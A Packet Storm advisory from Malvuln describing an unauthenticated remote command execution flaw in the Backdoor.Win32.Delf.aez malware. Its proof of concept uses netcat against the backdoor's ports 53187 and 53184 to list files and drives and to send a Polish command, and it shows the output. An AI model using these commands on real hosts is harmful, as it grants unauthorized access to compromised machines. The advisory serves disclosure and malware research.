Backdoor.Win32.Delf.aez Code Execution

2021-05-18T00:00:00
ID PACKETSTORM:162611
Type packetstorm
Reporter malvuln
Modified 2021-05-18T00:00:00

Description

                                        
                                            `Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/be4a6274679ca966a1d99140db54c25a.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Delf.aez  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on several TCP ports and accepts unauthenticated commands on port 53187 and 53184. Commands are in Polish E.g. Wylogowuj translated is "Log out" and we get response "#Zmiany Profilu w│aczone" ("#Profile change enabled."). Sending a single characters "d" or "f" to port 53187 also returns system information.  
Type: PE32  
MD5: be4a6274679ca966a1d99140db54c25a  
Vuln ID: MVID-2021-0217  
Disclosure: 05/17/2021  
  
Exploit/PoC:  
nc64.exe x.x.x.x 53187  
f  
f 6  
PerfLogs  
Program Files  
Program Files (x86)  
Users  
Windows  
$WINRE_BACKUP_PARTITION.MARKER  
0  
bootmgr  
398082  
BOOTNXT  
1  
BOOTSECT.BAK  
8192  
pagefile.sys  
671088640  
swapfile.sys  
16777216  
d  
d  
C: - Dysk lokalny  
D: - CD-ROM  
  
nc64.exe x.x.x.x 53184  
#Wylogowuj  
#Zmiany Profilu w│aczone. #Profile change enabled.  
  
  
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`